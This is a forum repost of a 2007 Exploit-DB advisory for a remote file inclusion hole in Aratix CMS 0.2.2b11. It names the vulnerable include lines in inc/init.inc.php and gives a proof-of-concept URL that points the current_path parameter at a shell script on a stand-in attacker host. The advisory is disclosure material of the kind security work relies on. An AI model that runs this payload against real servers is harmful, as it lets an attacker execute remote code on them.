Exploit Aratix 0.2.2b11 - '/inc/init.inc.php' Remote File Inclusion

Exploiter

Хакер
34,644
0
18 Дек 2022
EDB-ID
3079
Проверка EDB
  1. Пройдено
Автор
NUFFSAID
Тип уязвимости
WEBAPPS
Платформа
PHP
CVE
cve-2007-0135
Дата публикации
2007-01-04
Код:
+-------------------------------------------------------------------------------------------
+ Aratix <= 0.2.2b11 (inc/init.inc.php) Remote File Include Vulnerability
+-------------------------------------------------------------------------------------------
+ Vendor ............: http://www.aratix.de/
+ Affected Software .: Aratix <= 0.2.2 beta 11
+ Download ..........: http://download.xitara.net/aratix/aratix-0.2.2beta11.tar.gz
+ Description .......: "Aratix is the next generation of CMS and Groupware"
+ Class .............: Remote File Inclusion
+ Risk ..............: High (Remote File Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ Aratix inc/init.inc.php does not initialize the $current_path variable before using it to
+ include files, assuming register_globals = on, we can initialize the variable in a query
+ string and include a remote file of our choice.
+
+ Vulnerable Code:
+ inc/init.inc.php, line(s) 16-41:
+ -> 16: include $current_path . 'inc/session.inc.php';
+ -> 17: include $current_path . 'inc/pages.inc.php';
+ -> 18: include $current_path . 'inc/modules.inc.php';
+ -> 33: include $current_path . 'inc/functions.inc.php'; // Zusätzliche Funktionen einbinden
+ -> 41: include $current_path . 'extern/smarty/Smarty.class.php';
+
+ Proof Of Concept:
+ http://[target]/[path]/inc/init.inc.php?current_path=http://evilsite.com/shell.php?
+-------------------------------------------------------------------------------------------

# milw0rm.com [2007-01-04]
 
Источник
www.exploit-db.com